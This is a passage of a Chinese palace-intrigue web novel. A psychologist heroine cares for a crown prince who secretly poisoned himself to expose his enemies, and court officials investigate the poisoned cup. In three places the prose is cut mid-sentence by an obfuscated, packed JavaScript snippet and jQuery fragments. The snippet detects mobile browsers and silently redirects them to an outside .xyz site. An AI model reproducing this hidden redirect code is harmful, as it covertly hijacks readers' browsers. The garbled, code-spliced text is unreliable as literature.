平日里的刘之衍,说话做事,言谈自若,有股活人气儿,便不觉得他有多么冷淡。因为刘之衍总是对她和颜悦色,包容多过严厉,她觉得,刘之衍是斯文温柔的。
可是,当刘之衍双目紧闭,高挺的鼻梁,与寡淡的薄唇,透着一种拒人于千里的冷漠。乍一看,叫人害怕心惊。可他又长得极为英气俊美,那一眼深深烙在记忆,让人忍不住回头,偷偷打量。
应子清在床沿坐着,她伸手,指尖在刘之衍苍白的脸上,轻轻蹭了下。
仿佛她稍微用力,这个人就会破碎。
应子清叹口气。
作为心理咨询师,应子清清楚,刘之衍身上种种异于常人的表现,都是因为他的内心,有着难以愈合的伤口。
虽然,刘之衍老借着一些特殊情况,不要脸地吃她豆腐。
总的来说,他是一个很好的人。
这样一个人,为什么经历了那么多苦难,甚至连没病没痛这种很普通的愿望,也实现不了。
啪嗒。
一颗眼泪,不由自主地滑落,落在刘之衍的枕边,洇出浅淡泪痕。
应子清不是容易感伤的人,但情之所至,往日的相处的情景,那些隐藏在心底的难受,还是让她决堤了。
“你哭了吗。”极轻极淡的声音响起。
不知道什么时候,刘之衍醒了,漆黑的眼眸看着应子清。
那双眼睛,没有刚睡醒的朦胧迷惘,却有刀剑收入鞘时,森冷寒光一闪而过的嗜杀之意。
应子清眨了眨眼,不过片刻间,她发现刘之衍那可怕的凶气,转瞬即逝。
仿佛是她看错了。
刘之衍很淡地笑了下,唇色依旧苍白得令人心惊。
还是那个温柔君子刘之衍。
“你好点了吗?”应子清小声问。
夜深人静,寝殿静谧祥和,连她的声音也变得柔和。
“嗯。”刘之衍伸手,轻柔地擦去她脸上的泪痕,“你有没有害怕?”
“没有!”应子清无语,“我又不是小孩。”
“那你是高兴了。”刘之衍又笑。
“……”应子清想吐槽,你一个正中着毒的人,手无缚鸡之力,能不能别惹我了,小心把你揍一顿。
不过,转眼间,她也想明白了,刘之衍那么说,是想缓和下气氛。
毕竟她刚刚为他哭过。
刘之衍极为认真地看着她,眼中的幽暗深不可测:“以前只有娘亲为我哭过。”
这一句话,带着莫名的深意。
这一眼,也与以往看她时,不一样。
叫应子清的心跳乱了一拍,不知道该怎么接话。
她匆匆别开眼睛,咳嗽了下,说回正事:“你中的是三棱花的毒。三棱花这种植物,分布太广,到处都有,精通医理的人都知道。”
“嗯。”刘之衍一瞬不瞬,安静地听着。
“若是极其难查的毒,因为制
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686588|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成的条件刁钻苛刻,比如特定的地方才有,或是哪一家的独门秘方,反而容易锁定范围,查起来容易。”应子清越说越觉得棘手,“这种三棱花,到处都能找到,随手就能采撷,每个人都有接触的可能,反而极其难查。”
“难查,就意味着凶手不好找。”应子清乌黑的大眼睛,含着隐怒,“看来这个下毒的人,必定是位心机深沉的绝顶高手。他多半深谙其道,能布下致命的毒局,知道巧妙地隐藏自己的踪迹。这样的人,又是这样的心机手段,真让人防不胜防,想把他揪出来,十分艰难。”
刘之衍听得很仔细,他似是想了一会,点头附和:“你很聪明。”
“……”夸我干什么,应子清想捂额头,这人不会毒傻了吧。
见刘之衍态度淡然,语气平静,丝毫没那种愤怒到要报仇的样子。
应子清揣测,他大概是累了:“算了,你还是休息吧,等你身体转好,我们再聊这个事。”
“好。”刘之衍疲倦似的闭了闭眼,点下头,他握了下应子清的手腕,黑亮的眼睛瞧着她,“害你忧心了。”
亲眼看到刘之衍醒来,和她说了会话,应子清心情放松许多。
吹灭几支火烛,光线暗下不少。
应子清回到自己的小床上,忙了一整天,她真是累的不行,松软的锦被盖着,暖融融的。她一合上眼睛,很快睡着了。
室外的大雪,肆意飘落,在狂风中飞舞。
寝宫里,弥漫柔和静谧的氛围,角落的香炉,直线般袅袅升起。
忽然,幽幽的香线,被搅乱似的,晃了晃。
披着银亮皮裘的高挑少年,仅着织金云袜,踱步而出。
雕花扇门,无声无息地打开,又无声无息地合上。
乌黑长发顺着柔软密实的皮毛垂落,少年微微抬眼,看漫天的飞雪。
空中掠过一道黑影。
少年的目光,从雪景里收回,落在那人身上。
影枭冲着那名少年,单膝跪地:“殿下,属下来迟,罪该万死。”
“无妨。”刘之衍平静道,“解药带来了吗?”
影枭珍而重之地递上一支金葫芦。
刘之衍拧开金葫芦的瓶塞,细细嗅了下,气味清苦甘甜,是一味极为珍贵的解毒剂,他将里面的液体一饮而尽。
“事情进行得很顺利,你做的不错。”刘之衍把金葫芦扔回给他。
影枭死死咬着腮帮,眼中戾气一闪而过,恨声道:“我等本该护得殿下周全,让殿下冒险中毒,终究是我等无能!”
几粒雪花,飘落在那华贵的皮裘上,经久不化。
刘之衍冷玉般的面容,无波无澜:“若非自导自演,怎么把藏在暗地里的毒蛇引出来,他们那种人,要闻到鲜血才会蠢蠢欲动。”
“再说,”刘之衍漠然道,“喝自己配的毒,总比别人端来的好,至少我知道怎么解毒。”
影枭垂头丧气,忽而他想起什么,递上一枚应子清用锦缎做的香包。
宴会当晚,刘之衍将它解下,丢到一旁,影枭担心他还有用,特意捡了回来。
刘之衍接过香包,在手中把玩一下,随手丢进火炉之中。
他早就不需要那种东西。
影枭不解,眼睁睁看着,火舌将香包舔舐成一团灰烬。
有件事与应子清关系甚大,影枭回禀道:“恭喜殿下,测出应司直的心意。昨夜应司直匆忙为殿下呼救,看起来很是心系殿下。只是……”
“说。”刘之衍看他。
即使应子清不开口呼救,影枭安排的人,也会“偶然”地发现殿下不适,所以她的做法,算是意外之喜。但之前刘之衍说得很清楚,关于应子清的事情,他要事无巨细地知道。
影枭不敢隐瞒:“只是,呼救前,她慢了约一刻钟,有犹豫之心。”
刘之衍仍然看着雪,脸上没什么表情。
夜风猎猎,雪花落在他乌黑发间,浸湿些许发丝。
许久,他说:“也好。”
32. 第 32 章
下一夜的雪没停,大雪被凛冽的寒气裹挟,将天地间吹成白茫茫一片。
应子清今晨起来的时候,照黄铜镜的时间多了些。
木窗被冷风撞开了,语兰走过去把窗户合上,扣紧窗锁。她看了眼呆坐在镜前的应子清,关心道:“你在看什么,看那么久?”
古朴的黄铜镜中,眉目如画的少女,穿着鹅黄淡衫,肤色雪白,是屋里最明媚的一抹亮色。
应子清抬了抬眉毛,镜子里古香古色的少女,跟着抬了抬眉。
她不好跟语兰解释,她感觉融入这里太久,好像被同化了一点点。
“子清姐姐在看气色。”香巧从外间进来,手里捧着一壶清水,“看自己漂不漂亮。”
“……啊?”应子清怎么不知道。
“我也喜欢照镜子。”香巧肯定地说,“每天漂漂亮亮的,心情才会好。”
“这你就胡说八道了。”语兰马上反驳,“子清姐姐什么时候都好看,不用照镜子也好看。你是臭美才照镜子,人家又不是。”
“对对对,你长得丑,才不喜欢照镜子。”香巧促狭地笑起来,她把瓶子搁在案台上,捡起刚送来的红梅枝,斜斜插在白玉瓶里。
语兰气得满脸通红,她比香巧嘴笨些,说不过便扬起手,追过去收拾香巧。
两个小女生在屋里笑闹着跑来跑去,吵得一板一眼。
应子清无奈劝架:“好了好了,我宣布,你们都长得漂亮!”
“不行,她说自己长得好看,我偏要拧坏她的脸!”语兰哪里肯依,非要揍香巧一顿不可。
“子清姐姐救我!”香巧笑着逃命,抱住应子清的后腰,躲在她背后。
这一碰,香巧忽然想起什么:“哎呀,怪我忘了!我回来的时候,听他们说殿下在花厅等你,子清姐姐,你快过去吧!”
香巧指指门外,压低声音道:“听说,今日会有贵客到访。”
贵客?
普天之下,谁会被东宫的人,称之为贵客?
“好,我这就出去。”应子清答应着,整整裙裾,推门而出。
花厅竖了展屏风,上面的画山峦起伏,其间有猛兽追云逐日,也不知道画的是哪一出神话故事。
屋里熏着浓浓的药香,应子清绕转进去。
大白天点着宫灯。
刘之衍身体仍然不适,半倚在罗汉床上,腿部盖着一床锦被。
吴内祥冻伤的手没痊愈,刘之衍让他多歇几日养好伤再说。他便派了亲手带出来的徒弟张泰耀,呆在殿下身边。
张泰耀忙前忙后,给刘之衍拿来一方柔软的高枕,让他倚着舒服些。
应子清出来时,刘之衍握着一卷书在看。
“看的什么?”应子清随口问。
刘之衍举着书封,晃了下,上面写着一长串书名,应子清只看到末尾“兵法”二字。
“殿下很喜欢看书。”张泰耀捧来一盏茶,搁在刘之衍手边,笑道,“有事没事的,总喜欢拿着一本书。”
应子清也想起,刘之衍平时若是无事,他又不能玩乐器,常常手不释卷。
她没注意过刘之衍在看什么,此时方知道,刘之衍读的是兵书。
刘之衍今日简单系了小辫,编在脑后。他穿着淡雅兰衫,色泽恰如被雨水洗过的碧空,上面绣了团窠纹,泛着微微的银光。因着衣衫颜色浅淡,把他带病容的虚弱模样,衬得十足十。
“你怎么才来。”刘之衍眼也不抬。
“有点事,耽误了些。”应子清走过去,将周围厚重的织锦帷幔,拉上去系好,免得挡住周围的光亮。
刘之衍听她含糊其辞,不禁追着她问:“怎么,有什么事?”
“哎,太子殿下。”张泰耀和和气气,笑着提醒,“小女儿的事,极为私密,那都不能对外人说的,咱们不方便打听呀。”
刘之衍不知道想到什么,耳根子浮起一抹淡红,他镇定道:“哦,是我唐突了。”
应子清:“?”
听不懂这两人打什么哑谜。
几个人正说话间,疾步走进太监与侍卫,两人束手垂首:“禀报太子殿下,宰相薛大人、大理寺卿崔大人,大理寺少卿李大人,此刻正在殿外求见,还望太子殿下示下。”
刘之衍没多少意外,他将手中的书卷放在身侧,神色是惯常的平淡,点头道:“让他们进来吧。”
怪不得说今天有贵客,原来是宰相薛正源来了。
应子清趁客人还没进来,两三步来到刘之衍所在的罗汉床旁边站好。
她微微一垂眼,正好看见刘之衍刚刚读的兵书,竖排的文字写着:“兵者,诡道也……”
她记得这是非常有名的《孙子兵法之始计篇》,这一段话,倒也不复杂。
大概的意思是,战争是一种充满谋略与欺骗的艺术,要学会欺骗与诡计,用以迷惑敌人,最好让敌人作出错误判断,自己就增加了取胜的机会。
比如,特别有能力的人,要学会示弱,要让敌人误以为自己软弱可欺,这样才能让对方上当,露出破绽。
应子清只是匆匆扫一眼,不怎么在意,专心观察门口走进来的几人。
宰相薛正源为首,大理寺崔李二位在辅,郑重地向刘之衍行了大礼。
刘之衍微微点头,命人给他们赐了坐。
大晋朝有条不成文的规定,做官,尤其是要面圣的官员,须得平头正脸,仪表堂堂,在场的几位高官连带他们的侍卫,模样没有长得差的。
宰相双目炯炯,留着胡须,一副稳重威严的模样。那二人皆是年轻的官员,身姿挺拔,疏眉朗目,浑身透着清正严明的气质。
薛正源仔细端详刘之衍略带病容的脸色,微微叹气。他也是有儿孙的人,不过十七八岁的少年遭此无妄之灾,也是惹人怜惜。他微微垂着身子,细细询问太子殿下的安康。
虽然没有立刻说出他们的来意,应子清大概猜到,他们是来查案的。
冬阳暖醴宴上,太子中毒,此事非同小可。宰相协同大理寺,一齐拜访案发当事人,自是理所应当。
薛正源问安结束,端起茶杯,喝了起来。
正式的问话,还得是崔玉陵来,他面色凝重,咬牙切齿道:“殿下在宴会上,遭人毒手,这是何等的胆大妄为!臣等十分痛心,哪怕掘地三尺,定要把丧心病狂的歹徒揪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711822|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出!”
随后,崔玉陵对刘之衍请示:“臣在昨日宴会上,寻见一证物。此物非比寻常,臣等不敢擅专,特来请殿下过目。”
刘之衍点头:“可以。”
崔玉陵对着门外,双手一拍。
侍从心领神会,赶忙上前,毕恭毕敬地捧着方方正正的锦盒。
崔玉陵命令:“打开!”
侍从揭开锦盒的盖子,再次把摊开的锦盒递上,让在场的人看个仔细。
锦盒之中,丝绸垫了一只光彩耀目的龙金杯。
正是昨天晚上,庆帝赐给刘之衍的那只。
刘之衍再度看见毒酒杯,脸色微沉,没有作声,等着崔玉陵的下文。
崔玉陵目光锐利如鹰,紧紧望着刘之衍问:“恕微臣冒昧了,臣想请问太子殿下,昨晚,您是不是喝下这杯子里的酒,尔后毒素发作?”
刘之衍没有立刻回答,他望着龙金杯,脸上赫然发白,没有一丝血色:“你是说,这杯毒酒,是父皇所赐?”
“……“崔玉陵愣住。
自古以来,皇帝赐毒酒,也不是没有先例。
赐毒酒一杯,哪怕刘之衍心中再不甘愿,圣上要儿子死,儿子不得不从。
刘之衍那话,正是以为崔玉陵的意思,毒酒是庆帝赐给他的。
崔玉陵反应过来刘之衍问的是什么意思,吓得魂飞魄散,他的脸也煞白一片:“不是不是,殿下,臣不是这个意思!不不不,是陛下,陛下没有这个意思!”
薛正源连连咳嗽,打断崔玉陵越说越糟糕的解释:“太子殿下,还请宽心。臣等此番前来,是奉了圣上的旨意。陛下对太子殿下的安危十分关切,听闻此事,龙颜震怒,即刻责令臣与大理寺联合彻查此案。”
刘之衍黑眸安静,逐一扫过在场的三位大臣:“那杯毒酒,若不是我喝下去,是不是就落到父皇手中?”
气氛渐渐变得凝重,连跳动的火烛声,似乎都清晰可闻。
薛正源仍然镇定,可脸色越来越沉重。
刘之衍的问题,不好回答,又不能不回答。
崔玉陵攥紧拳头:“大理寺在龙金杯里,验出三棱花的毒素。我们找到孟医士,对方说,太子殿下的症状,与三棱花的毒很像。”
“原本微臣此行的目的,是想确认一下,太子是不是喝了这杯酒,还有没有碰过别的……”崔玉陵神色肃穆,额头渐渐渗出细汗。
可是,经刘之衍这么一问,在场所有人,心里都不禁惶恐起来。
毒害太子,已经是死罪,但跟毒害皇帝的情况,不可同日而语,那是悖逆造反,要株连九族的!
这个案子,远比他们想象的要复杂得多。
室外的大雪,翻飞不止,狂风肆虐。
雕花木门推开,雪花转瞬间扑入温暖宜人的房间里。星星点点的雪粒子,落在柔软细密的红金织花地毯上,渐渐融化成浅浅的凝珠。
几只黑色官靴踩过去,将晶莹剔透的水珠踩碎。
薛正源和崔李二位大理寺大臣,向太子殿下告退,步履匆匆地离开了。
大雪纷纷扬扬,众人的脸色如同冰塑,没有一个人开口说话。
33. 第 33 章
晨间,风雪仍未停止。
骊山那么热的地气,抵挡不住此等严寒,雪积了三尺厚。
有几个小太监,拿着工具在沐云居外铲雪。其他人躲在屋里,守着小火炉,绣花打瞌睡。
两匹膘肥体壮的骏马,拉着一辆马车,厚重的油毡铺了一层,底下有锦缎帷幔遮得严严实实,威风凛凛地驶来,在沐云居外停着。
屋内,应子清急急忙忙找了件狐裘,给刘之衍穿上。
有件熊皮的,被扔在罗汉床上,他嫌沉重。
“你不怕冷吗?”应子清皮裘的毛领子,给他翻过来,“毒素没清干净,身体又没好,太医院的人说,你要喝上半个月的药才行。”
“不冷。”刘之衍满不在乎,他长得高,不得不低下身,让应子清给他系好狐裘上的裘带。
应子清不由叹气:“这么久了,又是这么简单的事,你一样都学不会。”
让刘之衍一目十行,出口成章,这种需要动脑的事情,他信手拈来。
但让他穿衣服,打简单的结,系个腰带,刘之衍做得笨手笨脚,总要她从旁协助。
堂堂太子,不会就不会吧,有一屋子的人伺候他,刘之衍偏偏总要应子清来做。
吴内祥或是张泰耀,不是做得不好,但刘之衍的理由是,嫌他们不如应子清妥帖。
说是妥帖,不就是要她多干活?
想到这里,应子清怒气横生,手上的力气不禁变大。
“紧了,勒得慌。”刘之衍眨了下眼睛,长睫下的黑眸澄净,看着是那么无辜。
应子清瞪他一眼:“娇气!”
话是这么说,她利落解开裘带系的绳结,重新给松松:“现在呢?”
“好了。”刘之衍说。
应子清帮他顺了顺颈子上的绒毛,刘之衍看着她的那双素白又香的小手,安静无话。
“过来,再让我检查一下,免得一会缺东少西的。”应子清拉着刘之衍,让他走到亮堂堂的宫灯下。
刘之衍的里衣穿好了,外衣穿好了,腰带没有问题,今天戴的金玉环佩和之前的不重样。
至于上次做的香包,他给弄丢了,应子清说再给他做一个,刘之衍没拒绝,不过他告诉应子清,他如今说话见人,不需要香包的辅助。
应子清估摸,学者综合症带来的负面效果,譬如口讷,自闭孤僻的状态,正在一天天好转。
用大白话说,从前的刘之衍的症状并不严重,只不过,他执拗地沉浸在自己的天地里,常常闭口缄默,长时间与外界隔绝,才导致他与外人接触时,说话磕磕巴巴,心里抵触而戾气横生。
为什么会有这样好的转变?
应子清也很好奇。
刘之衍告诉她:“我不该再逗留在往昔的阴霾,我该挣脱出来,方能获得新生。”
寥寥数语,颇有禅机,听得应子清一愣。
看来,在另一面,学者综合症所隐藏的优势,因为刘之衍的好转,正在日益突显,他迟早会变得越来越非凡。
就像一柄藏于剑鞘的寒刀,一旦来刘之衍锋芒毕露,会让天下的人都为之一颤。到那时,谁成为他的敌人,或许会像蝼蚁一样,被他碾碎,为之胆寒!
骏马不耐烦的刨蹄声,传了进来。
应子清定了定神,重新打量他:“好了,打扮齐全,我们快走吧。”
“我还没穿靴子。”刘之衍微扬下巴,示意道。
“刘之衍!你别太过分!”应子清怒了,猛地朝他胸口揍了一拳!
他的里衣外衣,连腰带狐裘,全是她帮忙穿的!
应子清气得胸口起伏:“三岁的小朋友都知道自己穿鞋,你这靴子又没鞋带,自己穿!”
刘之衍再笨,也不可能笨成这样,他分明是故意的!
“只给你一分钟!”应子清生气了,指着他说,“不许磨蹭!”
刘之衍:“……”
他没再惹应子清生气,默默把靴子穿上。
门口,一道人影突然闪退到一边。
张泰耀按住心口,不敢相信自己刚刚看到了什么。
应司直在殴打殿下!
当然,那一小粉拳,算不得什么。
可是殿下挨了揍,没有发怒,还乖乖按她说的做。
这种待遇,是一般人能有的吗?
不能,所以应司直显然不是一般人!
他可不能像他师父那样对待应司直,张泰耀暗暗想到,他对应司直,要客客气气的才行。
几个人冒着风雪,出了门,快速上了马车。
应子清把门帘,严严地扣上。
车内,烧了暖和的掐丝珐琅手炉,应子清递给刘之衍,却被刘之衍反塞进她怀里。
刘之衍握住她的手,浅淡一笑:“你看,我不冷。”
他的手温温的,不似之前那么冰冷。
应子清若有所思:“看来这次太医院,有在认真医治。”
刘之衍没接话,唇边噙着微不可查的笑意,看不出是什么意思。
马车是傅太后派来的。
傅太后听说刘之衍可以下床走动,马不停蹄地把自己的马车,拨了一辆出来,让她的孙儿暖暖和和的,到她那边去。
傅太后所居住的地方叫静宜苑,是整座骊山最好的一块地方。庆帝仁孝,知道傅太后跟着来骊山温泉别宫修养,特特地提前把这处修缮一番。
马车还没走近,外间熙熙攘攘,挤了各式各样的马车。
“今天来了许多人?”下车后,应子清随便找门口的小厮问话,“都是些什么人?”
那小厮大约是哪个王府跟车出来的。他见应子清雪肤花貌,一袭珍贵雪色灵狐裘,满身轻纱罗衣,错以为是宫里的哪位神仙娘娘,吓得赶紧垂目,耳目通红,结结巴巴道:“好多、好多王妃娘娘都来了。”
刘之衍过去,挡住别人看应子清的视线,他不太高兴:“你有话,着人问便是。”
应子清浑不在意:“我问两句话的事。”
“男女有别。”刘之衍眉心拧着。
“封建老古板。”应子清懒得理他。
明明是年轻人,刘之衍把男女有别的礼仪,看得比她这个女的还重。
静宜苑地方不大,胜在别致。
因为傅太后礼佛,此地修了一条长廊,长廊的墙壁仿佛一幅徐徐展开的佛经画卷,上面绘制着佛经里的经典场景。
从这长廊走过,仿佛受了一番洗礼,心情变得与这漫天飞雪般澄净。
再穿过一条汉白玉小径,便能看到正殿。
阵阵欢声笑语,从花厅里传出来。
应子清和刘之衍相视一眼,她刻意慢下一步,让刘之衍先进去。
屋里挤了许多王妃与贵妇人,满目的华裳,满头珠翠,眼前一片绚烂夺目,仿佛春日万花争艳。
刘之衍一进门,贵妇人连带宫女丫鬟,纷纷站起身,仪态万
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726262|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
千地给他行礼。
“太后。”刘之衍带着笑,走近几步,让傅太后好好看看他,“孙儿来向您请安了。”
应子清没跟的太近,她站在门口,不方便进去。
却有两只雪白的小手,从后面捂住应子清的眼睛:“子清姐姐,猜猜我是谁?!”
“……谢家大小姐。”应子清用不着猜。
谢凝荷懊恼道:“为什么每个人都能猜对!”
应子清心想,你这娇俏的声音,太有辨识度,谁会认错。
谢凝荷又说:“都说了叫我小荷嘛!”
转眼间,她被谢凝荷拉入另一个房间。
在花厅旁边还有一间侧厅,王妃和贵妇人在前面敬奉太后,她们带来的公子小姐留在这里。
天寒地冻,他们一行人不好出去玩,只能缩在小小的房间里。
屋内烧着热热的炭火。
刘驰骞和刘弘煦两个也在这里,和几个公子,凑在这里玩叶子戏。
刘弘煦看见谢凝荷拉着应子清进来,目光不屑,冷冷地哼了声。
应子清丝毫不惧刘弘煦,他总不能和他父亲安景王对着干,把她和安景王的私事抖出来。
她大大咧咧走过去,看看他们玩的什么。
叶子戏很像扑克牌,应子清看几眼便知道怎么玩了。
刘弘煦瞥了眼应子清,将自己的手牌遮住,薄唇勾起嘲讽的弧度:“别乱看,我这输赢的钱都是万贯起步,可不想被你偷窥了去。”
他们输赢不大,桌上铺陈的都是些铜钱,对公子哥来说,不过毛毛雨。
可刘弘煦话里对应子清的嫌弃之意,昭然若揭。
其他公子小姐面面相觑,他们再不懂事,也知道这个宫女得罪了刘弘煦。
谢凝荷不高兴,护着应子清说:“你瞎说什么啊,子清姐姐又不一定懂叶子戏。”
“是吗?她手段不少,你怎么知道这个人不懂。”刘弘煦轻飘飘道,“你个傻小姐,有人想利用了你,你还叫人家姐姐。”
刘弘煦极少这么带刺地说话。
可他长得冷峻漂亮,是谢凝荷最喜欢的模样,她气得满脸通红,却也舍不得骂他,只说:“你这人今天吃钉子了,说话这么厉害。”
应子清本来没想跟这群人混到一块去,这是他们的地盘,有人不高兴看到她,她出去便是:“谢家大小姐,其实奴婢还有旁的事,先退下了。”
奴婢二字出来,谢凝荷急了,拽住应子清的手:“我不许你这么说话,走,我们去别的地方玩。”
刘弘煦再度冷笑:“做戏。”
又转进一间小暖阁,这里无人,谢凝荷拉着应子清坐在一起。
“子清姐姐,你不要生气啊,刘家那小子,今日心情不好,嘴也跟涂毒似的,一开口吓死人。”谢凝荷挽着应子清的手臂,脑袋靠在她肩膀上,小女儿一样娇嗔。
“没事,我不会放在心上。”应子清是天生淡人,冷静大过于激动,刘弘煦那点话,没那么容易刺激到她。
可是,谢凝荷却沉沉叹气:“其实我也心情不好。”
那副持重严肃的模样,让应子清也意外了:“怎么了?”
“你知道为什么今天会把我们带到太后面前吗?”谢凝荷说,脸上带着几分无奈,“她们看我们年龄大了,该婚配啦!”
应子清顿了下,缓缓想到一件事。
谢家人原本,是希望促成谢凝荷和刘之衍婚配的。
34. 第 34 章
刘之衍会娶谢凝荷吗?
婚嫁这个词,提醒了应子清。
太子如果想找正妃,谢家是大晋朝四大家族之一,谢凝荷的身份是够的。
四大家族的魁首是窦氏,皇后就是来自这个世家,想必刘之衍不喜欢跟窦氏有过多牵扯。剩下的两家是崔李二姓,这两家日渐式微,不是那么令人满意。
眼下太子缺势,和年纪相当的谢凝荷成婚,应该是最佳的配对方式。
谢家深知太子没多少选择,于是这一步棋,谢家人从两人小时候就开始布局。
今天傅太后特意把刘之衍叫来,谢凝荷与谢家的长辈也在这里,大概,是来商谈的。
毕竟太子成婚是大事,通常需要漫长的商谈过程。
想到这里,应子清抬起眼,她望着窗外漫天飞雪,忽然很想跑出去透口气。
谢凝荷絮絮叨叨说了许多,应子清配合着,轻轻点头,可因为有些走神,神情安静。
“……我大约是年龄大了,如今走到哪里,婶婶姨姨跟我聊的都是婚嫁之事。”谢凝荷满脸愁闷,“凭什么女儿家就非得嫁人呀,难道就不能有别的选择吗?”
“你想有什么选择?”应子清笑话她。
“比如你呀,在宫里做女官!”谢凝荷夸赞道,“你做过的事情,我都有所听闻。其实我内心很仰慕你的,要是我在雪夜里遇到狼,肯定吓得腿软!”
“仰慕我什么?”应子清觉得好笑,想揉揉她的头发,“仰慕我为奴为婢吗?”
“普天之下,莫非王土;率土之滨,莫非王臣!我们谁不向皇帝称臣?一样的奴婢罢了!”谢凝荷自然而然道,“可我的那些个婶婶姐姐,没有一个做官的。你可是五品女官啊,五品呐!多少人挤破脑袋,都做不到五品官!”①
一个萝卜一个坑,朝廷的官位就那么多。世上人才济济,最不缺的,就是想当官的人。大晋朝五品是道分界线,如同天堑,因为五品官的官员可以惠及子孙,荫封官爵。但五品之上的高官,许多人坐上去,极少挪动。数不清的官员熬到发须皆白,只能止步于六品。
“谢家的大小姐不想做,想做女官,说出去谁信。”应子清失笑道,她摇了摇头,“再说,女官没有做一辈子,也是有尽头的。”
“哎呀,我忘了,到了一定年纪,宫女们会被放出去。”谢凝荷眨着眼睛问,“子清姐姐,你以后被放出去了,想做什么?”
未来,关于她的未来,应子清也很惆怅。
撇开这些种种因果势力不谈,当她完成任务,应子清希望自己能回去。
但这种奇异的话,她不可能对谢凝荷坦然道来。
应子清想了想另一种可能性。
大晋朝的风气对女子尚可,若是女子没了双亲,不愿意嫁人,若自身有谋生的技能,可以向官府申请,做个顶门立户的女户。
她若是发展一些谋生的技能,混个小富之康,也不是不行。
这么一思索,计划倒很实际了,应子清说:“我大约会做个女户。”
“哎?你也不想嫁人吗?”谢凝荷眼神骤然一亮,找到队友似的,特别高兴,不过她转念一想,奇怪道,“为什么呀,开女户,那是不能嫁人的!万一你以后遇到喜欢的人呢?”
谢凝荷忽然想到什么,支支吾吾道:“不说以后的事,现在呢?你也没有喜欢的人吗?”
应子清怔忪片刻,摇头:“没有。”
“那、那太子哥哥呢?”谢凝荷可怜兮兮道,“你不喜欢他吗?”
应子清觉得这小姑娘傻得让人心疼,哪有人问别的女人,喜不喜欢她将来的夫婿?说不定她还以为,刘之衍娶妃嫔,是给她找好朋友。
应子清叹口气:“不,你放心,我不喜欢他。”
谢凝荷暗暗乍舌,不敢再问。
门口,站着一道男性颀长的身影。
听到应子清肯定地否认她喜欢他那句话,刘之衍的长睫颤了下。
他和太后寒暄一阵,转头发现应子清许久不见人人影,便寻了个借口出来找她。
哪里知道会在这方小天地,听到她的真心话。
刘之衍浓黑的眸子,透着让人发寒的戾气。他垂下眼眸,望着自己正在发颤的指尖,那种控制不住、即将暴怒的火焰,在他身体里横冲直撞。
暖阁里的两个小姑娘,丝毫不知道她们的话被别人听了去。少女莹白的小脸没什么情绪,长睫下眼睛清亮,柔声细语地和谢凝荷聊起别的。
屏风上,绘着大簇大簇的靡丽花朵,看上去与小女儿闺阁差不多。
那是一个十分温馨可爱的场景。
不应受到打扰。
刘之衍朝应子清的侧脸望过去,黑眸里积攒的郁色深不见底,他没停留多久,便转身离开。
今天傅太后这里的静宜苑,闹得动静很大。
下雪天,天色黑得早。
外面有宫人提着一长串红灯笼,款款引路。
皇帝皇后的鸾驾,一前一后,全来了。
帝后二人,不论走到哪里,皆是仆从一堆,小小的静宜苑顿时洋洋洒洒,挤了一堆人。
一些品级不高又无事的贵妇人见状,颇有眼色,纷纷起身告辞。
庆帝一进门,朝刘之衍招招手,刘之衍上前两步,搀扶住这位常年病痛的帝王。
庆帝的大手在刘之衍肩头拍了拍,力道不重,但蕴含着沉甸甸的意味。他仔细端详介于少年与青年之间的独子,眼底有水光闪动:“好,好孩子,你命硬,挺过来就好!”
“是儿臣不孝,劳父皇惦记了。”刘之衍低声。
“不怪你,”庆帝摆摆手,眼底的森然一闪而过,“是有人坐不住,想兴风作浪了。”
傅太后闭眼念了句佛,叹口气:“好好的,你跟孩子说这些干什么!”
只一眨眼,庆帝俊朗的面容变得和善,他笑道:“母后,什么孩子,你孙子不小了,该懂事了!”
庆帝说得意味深长,可神情又十分随意,尔后又不再继续往下说了。
小太监们躬身抬来几张椅凳,庆帝与窦皇后在傅太后的下首坐下。
俨然一幅庄严隆重又有脉脉温情的皇家家常图景。
众人说笑了会,冷嬷嬷过来小声提醒,到了吃晚膳的时候。一行王妃们被傅太后留下来,谢家的几位女人也在。
傅太后这里没有大鱼大肉,只有清淡的斋饭。不过是些四五碟青菜豆腐,却是由御植们在御田里精心培育的稀世珍馐,大寒天里,青翠蔬植比鱼肉金贵百倍。
晚宴的时候,应子清和以往一般,站在距离刘之衍最近的地方。
可这一晚,刘之衍没和她说话,他哪怕在发呆,也没有朝后看一眼。
应子清呆得无聊,目光不时放在刘之衍身上。
不得不说,刘之衍如今脾气修行的不错,他脸色淡淡的,看不出喜怒。
宫女太
